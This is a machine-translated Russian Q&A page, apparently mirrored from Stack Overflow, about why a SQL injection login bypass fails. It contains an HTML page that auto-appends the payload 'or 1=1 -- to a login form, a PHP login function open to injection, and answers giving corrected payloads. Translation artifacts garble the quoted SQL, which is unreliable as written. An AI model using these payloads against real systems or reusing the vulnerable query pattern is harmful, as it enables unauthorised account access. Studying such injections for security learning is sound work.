Простая SQL инъекция не авторизует пользователя - PullRequest
0 голосов
/ 12 июля 2020

Фон

Я создал html страницу зло. html, благодаря чему, когда пользователь нажимает на нее, он должен иметь возможность ввести имя пользователя и нажмите кнопку отправки, тем самым регистрируя их на сайте, который я создал.

Я ожидал бы, что инъекция 'or 1=1 -- будет означать, что если я отправлю пользователя с именем пользователя test, то результаты запроса SQL in

SELECT * FROM users WHERE userid = 'test' или 1 = 1 - AND password = '$ ha sh'

, что должно означать, что мой пользователь test аутентифицирован. Однако он выдает 500 там, где есть знаки +, где интервал в инъекции.

Мой параметр входа в запрос выглядит следующим образом:

login: "test'or+1=1+--"

Кто-нибудь знает, почему этот эксплойт не работает?

зло. html

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script>
  function attack() {
    document.querySelector('#login').value += "'or 1=1 --";
  }
</script>
</head>
<body>
<form action="http://example.com/" onsubmit="attack();" method="POST">
  <input name="login" id="login" value="">
  <button>Submit</button>
</form>
</body>
</html>

логин. php

function login($username, $password) {
    $sql = "SELECT * FROM users WHERE userid='$username'";
    $result = $this->db->query($sql);
    $user = $result->next();
    if (!$user) {
        return false;
    }
    $salt = $user['salt'];
    $hash = md5($salt.$password);
    $sql = "SELECT * FROM users WHERE userid='$username' AND password='$hash'";
    $userdata = $this->db->query($sql)->next();
    if ($userdata) {
    // user is logged in
    // doStuff()
    }
}

Ответы [ 2 ]

0 голосов
/ 13 июля 2020

Плюс - это форма пробела с шифрованием URL. Так что на данный момент все в порядке (см. URL, кодирующий пробел: + или% 20? ).

В широко используемых системах управления реляционными базами данных от Microsoft, Oracle, PostgreSQL и MySQL, комментарий можно ввести с помощью --. MySQL здесь немного привередлив. Он хотел бы иметь пробел после -- , иначе он его не распознает.

Таким образом, допустимый эксплойт должен быть:

"test'or+1=1+--+"

Вы можете также попробуйте другое обозначение mySQL, например '# comment'

"test'or+1=1+#"

Cf. раздел «Комментарии» в https://portswigger.net/web-security/sql-injection/cheat-sheet.

0 голосов
/ 13 июля 2020

Попробуйте добавить пробел после двойного дефиса.

Итак, от

.value += "'or 1=1 --"; до .value += "'or 1=1 -- ";

...